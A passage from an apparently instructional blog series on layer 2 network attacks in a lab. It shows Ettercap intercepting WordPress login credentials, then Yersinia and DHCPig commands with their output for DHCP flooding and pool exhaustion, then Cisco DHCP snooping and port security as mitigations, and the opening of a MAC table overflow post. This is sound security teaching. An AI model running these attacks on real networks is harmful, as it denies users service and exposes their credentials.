CONTENT: log=user&pwd=bitnami&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.3.100%2Fwp-admin%2F&testcookie=1
</pre></div>
<p>User’s credentials have been successfully intercepted by Ettercap!</p>
<p>If you check the data captured at the same by the Wireshark running on the
attacker’s host, you may notice several things (in addition to the fact
that Wireshark too captured the user’s credentials):</p>
<p><span class="lb-small"><a href="#wireshark-attacker.png" id="wireshark-attacker.png-thumb" title="Click to enlarge"><img alt="Wireshark capture on attacker's host" src="https://www.whitewinterwolf.com/posts/2017/10/30/dhcp-exploitation-guide/wireshark-attacker.png"/></a></span></p>
<ul>
<li>
<p>First, Wireshark notices a lot of duplicated, retransmitted and
out-of-order packets (the black lines in the screenshot).</p>
<p>This is normal and expected: Ettercap indeed replays all packets received
from the victim to send them to their real target, changing only data-link
layer information.
This confuses Wireshark which interprets this as a network issue.</p>
</li>
<li>
<p>Then, in a similar fashion as in <a href="/posts/2017/10/25/mac-address-table-overflow/#eavesdropping" title="MAC address table overflow: eavesdropping">the previous post</a>, we have
access to only one side of the communication: the client-side this time.</p>
<p>This however is just a limitation of the tool we are using.
Ettercap only rewrite the data link layer information (the <span class="caps">MAC</span> addresses)
before forwarding the messages, meaning that they keep their original
source <span class="caps">IP</span> address.
The reply therefore are directly sent to the client without going through
the attacker’s host.</p>
<p>From a technical point-of-view, Ettercap could very-well implement a
<span class="caps">NAT</span>-like functionality which would allow the reply to be routed to the
attacker’s machine too<sup id="fnref-NAT"><a class="footnote-ref" href="#fn-NAT">3</a></sup>.
This would provide a full-duplex interception of the target’s communication.</p>
</li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>There are two main impact of an half-duplex interception:</p>
<ul>
<li>
<p>Obviously, as with the half-duplex sniffing we had in the previous lab,
you can only read one side of the communication.</p>
</li>
<li>
<p>But as this is an interception, you also gained write abilities, but
this ability is restricted as you cannot alter packets length.
Indeed, having access to only one side of the communication means you
cannot adjust the <span class="caps">TCP</span> window acknowledgement coming from the server.
Any change in packet size would break the communication (but the
packet content can be freely changed).</p>
</li>
</ul>
<p>In a full-duplex interception, both the content and size of the packets can
be changed.
Full-duplex interception will be covered in the next post of this series.</p>
</div>
<h4 id="dos-attacks"><a class="toclink" href="#dos-attacks"><abbr title="Denial Of Service"><span class="caps">DOS</span></abbr> attacks</a></h4>
<h5 id="dhcp-discover-flood"><a class="toclink" href="#dhcp-discover-flood"><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">DISCOVER</span> flood</a></h5>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p><a href="http://www.yersinia.net/" rel="external" title="Yersinia project homepage">Yersinia</a> offers a <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">DISCOVER</span> flood functionality, however this should not be
confused with an actual <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> starvation attack as the effect of this one is
far more temporary (this may or may not be an advantage, depending on what you
are trying to achieve).</p>
<p>In this attack, Yersinia sends <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">DISCOVER</span> messages to the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server at a
very high rate, most probably far higher than what he can reasonably handle
(a <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server doesn’t have the same requirement as, say, an Internet facing
web server).
Depending on the server implementation, it is probable that this attack may not
even be able to fill the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server leases table, however it will effectively
make the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server unavailable for the duration of the attack:</p>
<ul>
<li>
<p>Due to the load and locking issues, the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> will be mostly unable to
process any legitimate request for the duration of the flood.</p>
</li>
<li>
<p>Once the flood stops, since Yersinia did not take care of answering to any
<span class="caps">OFFER</span> sent by the server, then the server will automatically delete all
flood-related entries from its leases database after a relatively short
timeout (five minutes in this lab, but this may vary depending on the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr>
server used).</p>
</li>
</ul>
<p>To launch the attack, use the following command:</p>
<div class="codehilite"><pre><span class="hll"><span class="gp">root@kali:~#</span> yersinia dhcp -attack 1
</span><span class="go">Warning: interface eth0 selected as the default one</span>
<span class="go"><*> Starting DOS attack sending DISCOVER packet...</span>
<span class="go"><*> Press any key to stop the attack <*></span>
</pre></div>
<p><em>R1</em> itself may now have trouble to access its own leases database (this
command will return only after the expiration of an internal timeout):</p>
<div class="codehilite"><pre><span class="gp">R1#</span><span class="k">show</span> ip dhcp pool VLAN1
<span class="go">% The DHCP database could not be locked. Please retry the command later.</span>
<span class="gp">R1#</span>
</pre></div>
<p>As stated above the leases database will remain unavailable this way for a few
time even after the end of the flood.
However, it will be just a matter of minutes for the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server to
automatically get back to its working state.</p>
<h5 id="dhcp-starvation"><a class="toclink" href="#dhcp-starvation"><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> starvation</a></h5>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>A well-implemented <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> starvation attack can have far more impact.</p>
<p>This time the attacker will not attempt to temporarily drown the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server
under tens of thousands <span class="caps">DISCOVER</span> requests seconds.
He will instead:</p>
<ol>
<li>Send the <span class="caps">DISCOVER</span> requests at a relatively slower rate, allowing the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr>
to properly handle them.</li>
<li>Keep track of sent <span class="caps">DISCOVER</span> and wait for the matching <span class="caps">OFFER</span> replies.</li>
<li>Send clean <span class="caps">REQUEST</span> messages in reaction to the <span class="caps">OFFER</span>, confirming the
<span class="caps">IP</span> lease.</li>
</ol>
<p>A <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server usually has a pool of a few hundreds, maybe thousands of
available <span class="caps">IP</span>.
With such attack, this pool will fill-up in very few time, meaning that there
will be no available <span class="caps">IP</span> anymore to distribute to newly connected devices,
effectively preventing them from accessing the network.</p>
<p><a href="https://github.com/kamorin/DHCPig" rel="external" title="DHCPig GitHub page">DHCPig</a> proposes a good implementation of this attack, with configurable
retries, timeouts and threads to match various environments.
It offer even more sweeties, in particular:</p>
<ul>
<li>
<p>It can attempt to unregister live neighbors by forging <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">RELEASE</span>
messages sending them to the the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server.
This allows to prevent hosts with a currently assigned <span class="caps">IP</span> to renew it.</p>
</li>
<li>
<p>Once there is no more free leases, it can disconnect all Windows machines
by simulating <span class="caps">IP</span> addresses conflicts (this results in the Windows
machines dropping their current address to fetch a new one from the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr>
server, alas at that time there is no more <span class="caps">IP</span> addresses available there…).</p>
</li>
<li>
<p>As a weak security measure, some routers attempt to detect such attacks by
probing the requester to ensure it is a real device.
DHCPig replies to such probes.</p>
</li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Sadly I did not manage to get the <span class="caps">RELEASE</span>-based attack described in the
first bullet to work, the legitimate client remaining the owner of the
<span class="caps">IP</span> address.
I don’t know at this time if this is a limitation of the <span class="caps">IOS</span>-based <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr>
server or a bug in DHCPig.</p>
<p>To reproduce this attack in the lab, it is therefore recommended to begin
with a freshly restarted <em>R1</em> and <em>Atacker</em> host and keep the <em>User_1</em>
host off.</p>
</div>
<p>To start the attack, simply provide the network interface to use to DHCPig:</p>
<div class="codehilite"><pre><span class="hll"><span class="gp">root@kali:~#</span> python ./pig.py eth0
</span><span class="go">[ -- ] [INFO] - using interface eth0</span>
<span class="go">[DBG ] Thread 0 - (Sniffer) READY</span>
<span class="go">[DBG ] Thread 1 - (Sender) READY</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[ ?? ] waiting for first DHCP Server response</span>
<span class="go">[<---] DHCP_Offer c2:01:0b:de:00:00 0.0.0.0 IP: 192.168.1.100 for MAC=[de:ad:0e:7c:60:f3]</span>
<span class="go">[--->] DHCP_Request 192.168.1.100</span>
<span class="go">[DBG ] ARP_Request 192.168.1.102 from 192.168.1.1</span>
<span class="go">[DBG ] ARP_Request 192.168.1.102 from 192.168.1.1</span>
<span class="go">[DBG ] ARP_Request 192.168.1.102 from 192.168.1.1</span>
<span class="go">[DBG ] ARP_Request 192.168.1.102 from 192.168.1.1</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">... skipped ...</span>
<span class="go">[ -- ] timeout waiting on dhcp packet count 3</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[ ?? ] waiting for DHCP pool exhaustion...</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[--->] DHCP_Discover</span>
<span class="go">[ -- ] timeout waiting on dhcp packet count 4</span>
<span class="go">[ ?? ] waiting for DHCP pool exhaustion...</span>
<span class="go">[ -- ] [DONE] DHCP pool exhausted!</span>
<span class="gp">root@kali:~#</span>
</pre></div>
<p>Once the attack has ended, the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> pool is indeed full as all of the 100
available <span class="caps">IP</span> addresses are now “leased”:</p>
<div class="codehilite"><pre><span class="gp">R1#</span><span class="k">show</span> ip dhcp pool VLAN1
<span class="go">Pool VLAN1 :</span>
<span class="go">Utilization mark (high/low) : 100 / 0</span>
<span class="go">Subnet size (first/next) : 0 / 0</span>
<span class="go">Total addresses : 254</span>
<span class="hll"><span class="go">Leased addresses : 100</span>
</span><span class="go">Pending event : none</span>
<span class="go">1 subnet is currently in the pool :</span>
<span class="go">Current index IP address range Leased addresses</span>
<span class="go">0.0.0.0 192.168.1.1 - 192.168.1.254 100</span>
<span class="gp">R1#</span>
</pre></div>
<p>Starting <em>User_1</em> host, it is indeed unable to acquire an <span class="caps">IP</span> address and cannot
join the network:</p>
<div class="codehilite"><pre><span class="gp">gns3@box:~$</span> ifconfig eth0
<span class="go">eth0 Link encap:Ethernet HWaddr 00:01:93:B7:01:00</span>
<span class="go"> inet6 addr: fe80::201:93ff:feb7:100/64 Scope:Link</span>
<span class="go"> UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1</span>
<span class="go"> RX packets:0 errors:0 dropped:0 overruns:0 frame:0</span>
<span class="go"> TX packets:12 errors:0 dropped:0 overruns:0 frame:0</span>
<span class="go"> collision:0 txqueuelen:1000</span>
<span class="go"> RXbytes:0 (0/0 KiB) TX bytes:2528 (2.4 KiB)</span>
<span class="gp">gns3@box:~$</span>
</pre></div>
<p>As stated earlier, <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> lease time may vary a lot depending on the environments,
from a few dozen of minutes to a few weeks.
In most case the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server will require a manual intervention for the network
to get back into a working state.</p>
<h3 id="mitigation"><a class="toclink" href="#mitigation">Mitigation</a></h3>
<p>To prevent these attacks you must enable <em>both</em> <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> snooping and port-security.</p>
<h4 id="dhcp-snooping"><a class="toclink" href="#dhcp-snooping"><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> Snooping</a></h4>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="no" title="No"><span class="sr-only">No</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>The <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> snooping needs to be enabled on a per-<span class="caps">VLAN</span> basis on the access layer
switches and takes cares of several things:</p>
<ul>
<li>
<p>It creates a distinction between trusted ports and untrusted ports.</p>
<p>Clients are connected to untrusted ports and the trusted ports point toward
the network infrastructure and the legitimate <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server(s).</p>
</li>
<li>
<p>Invalid <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> messages received on untrusted ports are dropped.</p>
<p>A message can be deemed invalid due to various reasons like a mismatch
between the <span class="caps">MAC</span> addresses mentioned in the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> message and as the Ethernet
frame sender, a server message coming from an untrusted port or a <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr>
message referencing a conversation currently happening on a different port.</p>
</li>
<li>
<p>Clients <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> multicast messages are forwarded only through trusted ports.</p>
<p>A client will therefore not receive <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> broadcasts from other clients anymore.</p>
</li>
<li>
<p><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> messages are rate-limited.</p>
</li>
<li>
<p>The switch maintains a <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> snooping database.</p>
<p>This database tracks various information: client’s <span class="caps">MAC</span> address, client’s <span class="caps">IP</span>
address as assigned by the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server, client’s <span class="caps">VLAN</span>, remaining lease time
and the port the client is connected to.</p>
<p>We will see in the next post that this database can also used to implement
other security features.</p>
</li>
</ul>
<p><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> snooping will add the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> option 82
(<em>”<abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> Relay Agent Information Option”</em>) on <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> messages that went through it
(messages coming from untrusted ports with this option already set are
considered invalid).
By default the <span class="caps">IOS</span>-based <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server will ignore such messages, so you must
first modify the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server configuration on <em>R1</em>:</p>
<div class="codehilite"><pre><span class="gp">R1#</span><span class="k">conf</span> t
<span class="go">Enter configuration commands, one per line. End with CNTL/Z.</span>
<span class="hll"><span class="gp">R1(config)#</span><span class="k">ip</span> dhcp relay information trust-all
</span><span class="gp">R1(config)#</span><span class="nb">end</span>
<span class="gp">R1#</span>
<span class="gt">*Mar 1 00:49:13.755: %SYS-5-CONFIG_I: Configured from console by console</span>
<span class="gp">R1#</span><span class="k">copy</span> run start
<span class="go">Destination filename [startup-config]?</span>
<span class="go">Building configuration...</span>
<span class="go">[OK]</span>
<span class="gp">R1#</span>
</pre></div>
<p>Then you can enable <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> snooping on all access layer switches:</p>
<div class="codehilite"><pre><span class="gp">IOU3#</span><span class="k">conf</span> t
<span class="go">Enter configuration commands, one per line. End with CNTL/Z.</span>
<span class="gp">IOU3(config)#</span><span class="c1">! Set the trusted port first to avoid any service interruption!</span>
<span class="gp">IOU3(config)#</span><span class="k">interface</span><span class="s"> ethernet 0/0</span>
<span class="hll"><span class="gp">IOU3(config-if)#</span><span class="k">ip</span> dhcp snooping trust
</span><span class="gp">IOU3(config-if)#</span><span class="nb">exit</span>
<span class="hll"><span class="gp">IOU3(config)#</span><span class="k">ip</span> dhcp snooping
</span><span class="hll"><span class="gp">IOU3(config)#</span><span class="k">ip</span> dhcp snooping vlan <span class="s">1-2</span>
</span><span class="gp">IOU3(config)#</span><span class="nb">end</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 29 17:00:53.321: %SYS-5-CONFIG_I: Configured from console by console</span>
<span class="gp">IOU3#</span><span class="k">show</span> ip dhcp snooping
<span class="go">Switch DHCP snooping is enabled</span>
<span class="go">DHCP snooping is configured on following VLANs:</span>
<span class="go">1-2</span>
<span class="go">DHCP snooping is operational on following VLANs:</span>
<span class="go">1-2</span>
<span class="go">DHCP snooping is configured on the following L3 Interfaces:</span>
<span class="go">Insertion of option 82 is enabled</span>
<span class="go">circuit-id default format: vlan-mod-port</span>
<span class="go">remote-id: aabb.cc00.0500 (MAC)</span>
<span class="go">Option 82 on untrusted port is not allowed</span>
<span class="go">Verification of hwaddr field is enabled</span>
<span class="go">Verification of giaddr field is enabled</span>
<span class="go">DHCP snooping trust/rate is configured on the following Interfaces:</span>
<span class="go">Interface Trusted Allow option Rate limit (pps)</span>
<span class="go">----------------------- ------- ------------ ----------------</span>
<span class="go">Ethernet0/0 yes yes unlimited</span>
<span class="go">Custom circuit-ids:</span>
<span class="gp">IOU3#</span><span class="k">copy</span> run start
<span class="go">Destination filename [startup-config]?</span>
<span class="go">Building configuration...</span>
<span class="go">Compressed configuration from 1624 bytes to 936 bytes[OK]</span>
<span class="gp">IOU3#</span>
</pre></div>
<p>After having enabled <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> snooping:</p>
<ul>
<li>
<p>The <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> spoofing attack doesn’t work anymore as Ettercap doesn’t receive
any broadcasted <span class="caps">DISCOVERY</span> or <span class="caps">REQUEST</span> messages to reply to.</p>
<p>There is no error message anywhere, the attacker is just deaf to <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr>
discussions occurring on other ports.</p>
</li>
<li>
<p>The <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> starvation attack doesn’t work anymore, but this is more due to
a current limitation of the tool than anything else.</p>
<p>DHCPig messages are dropped by the switch which raises the following
error message:</p>
<div class="codehilite"><pre><span class="gp">IOU3#</span>
<span class="gt">*Oct 29 17:10:22.200: %DHCP_SNOOPING-5-DHCP_SNOOPING_MATCH_MAC_FAIL: DHCP_SNOOPING drop message because the chaddr doesn't match source mac, message type: DHCPDISCOVER, chaddr: dead.287e.8729, MAC sa: 0001.93e9.0e00</span>
<span class="gp">IOU3#</span>
</pre></div>
<p>While DHCPig correctly fakes the <span class="caps">MAC</span> address in the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> message, it misses
to fake the sender <span class="caps">MAC</span> address in the Ethernet frame, resulting in a
mismatch and all its messages being dropped as invalid.</p>
</li>
<li>
<p>Yersinia however correctly sets the Ethernet layer source <span class="caps">MAC</span> addres to
match the <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> message <span class="caps">MAC</span> address, therefore its <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">DISCOVERY</span> flood
attack remain possible despite having enabled <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> snooping.</p>
<p><abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> snooping rate limiting is triggered by this attack:</p>
<div class="codehilite"><pre><span class="gp">IOU3#</span>
<span class="gt">*Oct 29 17:12:53.669: %DHCP_SNOOPING-4-QUEUE_FULL: Fail to enqueue DHCP packet into processing queue: dhcp_snoop_pakQ, the queue is most likely full and packet will be dropped.</span>
<span class="gp">IOU3#</span>
</pre></div>
<p>However the amount of packets remaining allowed is still sufficient to
effectively <abbr title="Denial Of Service"><span class="caps">DOS</span></abbr> our small lab <span class="caps">IOS</span>-based <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server.</p>
</li>
</ul>
<h4 id="port-security"><a class="toclink" href="#port-security">Port security</a></h4>
<table class="floatright">
<thead>
<tr><th>Lab</th><th>Compatible</th></tr>
</thead>
<tbody>
<tr><td>Dynamips</td><td class="no" title="No"><span class="sr-only">No</span></td></tr>
<tr><td><span class="caps">IOU</span></td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
<tr><td>Real gear</td><td class="yes" title="Yes"><span class="sr-only">Yes</span></td></tr>
</tbody>
</table>
<p>The attacks that managed to slip through <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> snooping rely on the ability for
the attacker to be able to simulate a large number of devices bearing different
<span class="caps">MAC</span> address.</p>
<p>For those of you who have read the <a href="/posts/2017/10/25/mac-address-table-overflow/" title="MAC address table overflow">previous article</a> from this series about
<span class="caps">MAC</span> address table overflow, this may ring a bell.
Indeed, for a complete protection against <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr>-based attacks, in addition to
<abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> snooping you must also enable Port Security.</p>
<p>Enabling Port Security is covered in the <a href="/posts/2017/10/25/mac-address-table-overflow/#mitigation" title="MAC address table overflow: mitigation">previous post</a>.</p>
<p>Now even Yersinia’s <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> <span class="caps">DISCOVER</span> flooding attack gets successfully blocked:</p>
<div class="codehilite"><pre><span class="gp">IOU3#</span>
<span class="gt">*Oct 29 18:31:00.024: %PM-4-ERR_DISABLE: psecure-violation error detected on Et1/0, putting Et1/0 in err-disable state</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 29 18:31:00.024: %PORT_SECURITY-2-PSECURE_VIOLATION: Security violation occurred, caused by MAC address 1009.c153.845c on port Ethernet1/0.</span>
<span class="gt">*Oct 29 18:31:01.024: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet1/0, changed state to down</span>
<span class="gp">IOU3#</span>
<span class="gt">*Oct 29 18:31:02.024: %LINK-3-UPDOWN: Interface Ethernet1/0, changed state to down</span>
<span class="gp">IOU3#</span>
</pre></div>
<p>Your lab is now safe… until the next post ;) !</p>
<div class="footnote">
<hr/>
<ol>
<li id="fn-ideal-world">
<p>Well, I can easily imagine a tool providing the best of both
worlds. First simulate a few devices to obtain a few IPs from the legitimate
server and maintain their leases so they remain valid, free and won’t be
allocated to other devices in the future. Then fake the <span class="caps">OFFER</span> packets and
distribute these addresses to the clients with custom network settings. <a class="footnote-backref" href="#fnref-ideal-world" title="Jump back to footnote 1 in the text">↩</a></p>
</li>
<li id="fn-configurable-leases">
<p>It would be nice for <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> spoofing tools to let the
attacker configure the lease time to match the estimated attack duration.
This would allow intercepted clients to gracefully switch to the legitimate
network configuration at the end of the attack with little to no disruption.
Yersinia curses interface propose such settings in its <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> spoofing
attack, but this module seems incompletely implemented: present only in
curses, very rough interface, don’t seem to do anything. <a class="footnote-backref" href="#fnref-configurable-leases" title="Jump back to footnote 2 in the text">↩</a></p>
</li>
<li id="fn-NAT">
<p>In this case, Ettercap could even be made to distribute IPs from a
completely different and unused subnet, thus avoiding any <span class="caps">IP</span> range conflict.
Ettercap doesn’t allow that but I have yet to check if <a href="https://github.com/byt3bl33d3r/MITMf" rel="external" title="MITMf GitHub page">MITMf</a>, another
<abbr title="Man-In-The-Middle"><span class="caps">MITM</span></abbr> tool supporting <abbr title="Dynamic Host Configuration Protocol"><span class="caps">DHCP</span></abbr> server spoofing, support this either by itself or
by relying on the standard Linux IPTables to do the <span class="caps">NAT</span> stuff. <a class="footnote-backref" href="#fnref-NAT" title="Jump back to footnote 3 in the text">↩</a></p>
</li>
</ol>
</div>MAC address table overflow2017-10-25T00:00:00+02:002017-10-25T00:00:00+02:00WhiteWinterWolftag:www.whitewinterwolf.com,2017-10-25:/posts/2017/10/25/mac-address-table-overflow/<p>The main practical difference between a legacy hub and a switch is that the
switch will do its best to forward ethernet frames only on the port allowing to
reach the <em>recipient</em>, it won’t blindly forward everything everywhere as
as a dumb hub would do.</p>
<p>To achieve this, upon reception of a frame the switch stores the <em>senders</em> <abbr title="Media Access Control"><span class="caps">MAC</span></abbr>
address associated to its input port in an internal memory, usually implemented
as a <abbr title="Content Addressable Memory"><span class="caps">CAM</span></abbr> table.
Thanks to this information, would a packet have the same address as <em>recipient</em>,
the switch will now forward this packet only to this port and not the other ones.</p>
<p>I already wrote a more focused article on <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> table overflow within the context
of <span class="caps">GNS3</span> simulated environments, which resulted in patch being submitted
upstream and initiated the development of the <code>macof.py</code> tool.
The original article is <a href="/posts/2016/06/26/how-to-run-a-cam-table-overflow-attack-in-gns3/" title="How to run a CAM table overflow attack in GNS3">available here</a>.</p>
<p>In this article I detailed …</p><p>The main practical difference between a legacy hub and a switch is that the
switch will do its best to forward ethernet frames only on the port allowing to
reach the <em>recipient</em>, it won’t blindly forward everything everywhere as
as a dumb hub would do.</p>
<p>To achieve this, upon reception of a frame the switch stores the <em>senders</em> <abbr title="Media Access Control"><span class="caps">MAC</span></abbr>
address associated to its input port in an internal memory, usually implemented
as a <abbr title="Content Addressable Memory"><span class="caps">CAM</span></abbr> table.
Thanks to this information, would a packet have the same address as <em>recipient</em>,
the switch will now forward this packet only to this port and not the other ones.</p>
<p>I already wrote a more focused article on <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> table overflow within the context
of <span class="caps">GNS3</span> simulated environments, which resulted in patch being submitted
upstream and initiated the development of the <code>macof.py</code> tool.
The original article is <a href="/posts/2016/06/26/how-to-run-a-cam-table-overflow-attack-in-gns3/" title="How to run a CAM table overflow attack in GNS3">available here</a>.</p>
<p>In this article I detailed a classical switch implementation as follow:</p>
<ol>
<li>
<p>The switch receives an incoming packet on some port,</p>
</li>
<li>
<p>The switch then checks if the source <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address is already stored in its
<abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address table.</p>
<ul>
<li>If it isn’t and there is a free slot, it records this new <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address
associated to its incoming port.</li>
<li>If the address is already present but associated to another port, it
updates the record with the new port.</li>
<li>In all cases this is also the occasion to reset the aging timer
associated to this entry.</li>
</ul>
</li>
<li>
<p>The switch then checks if the destination <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address is already stored in
the <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address table.</p>
<ul>
<li>If it is, then this is all good and the switch outputs the packet on
the interface associated to the matching <abbr title="Content Addressable Memory"><span class="caps">CAM</span></abbr> table entry.</li>
<li>If it isn’t, the switch outputs the packet on all interfaces except the
incoming one (all interfaces belonging to the same <span class="caps">VLAN</span> + the trunk
ports as long as this <span class="caps">VLAN</span> is not pruned).</li>
</ul>
</li>
<li>
<p>As a separate process the switch regularly deletes older entries where the
aging timer went over a certain threshold (usually at least several minutes
on real gear, hardcoded to 30 seconds in the case of the Dynamips emulated
<span class="caps">NM</span>-<span class="caps">16ESW</span> router extension).</p>
</li>
</ol>
<p>This works well… until the <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address table gets full.
In this case new entries corresponding to new sources addresses cannot be
added anymore into the <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address table.
When incoming frames refer to these new sources addresses as recipient, the
switch therefore has no other choice than falling back on the second bullet and
forward the frames on all ports.</p>
<p><abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address table are made large enough to prevent this situation to happen
under normal circumstances (usually 1000 or 2000 entries for desktop switches
and 5000 to 16000 entries for common enterprise ones).
However, a malicious user may send a large number of packets, each bearing
different source <abbr title="Media Access Control"><span class="caps">MAC</span></abbr> address, which will artificially fill up switches <abbr title="Media Access Control"><span class="caps">MAC</span></abbr>
address tables, thus forcing them into this fall-back behavior.</p>
<p>This is this attack and the way to prevent it that we will see in detail.</p>
<p><span class="lb-small"><a href="#topology.png" id="topology.png-thumb" title="Click to enlarge"><img alt="MAC table overflow topoloy" src="https://www.whitewinterwolf.com/posts/2017/10/25/mac-address-table-overflow/topology.png"/></a></span></p>
<p>This articles relies on the same topology as the rest of the series.
If you didn’t read the <a href="/posts/2017/10/10/practical-network-layer-2-exploitation-introduction/" title="Practical network layer 2 exploitation: introduction">introduction post</a>, do it now.</p>
<p>For this lab we will use the <em>Users</em> and <em>Servers</em> <span class="caps">VLAN</span>.
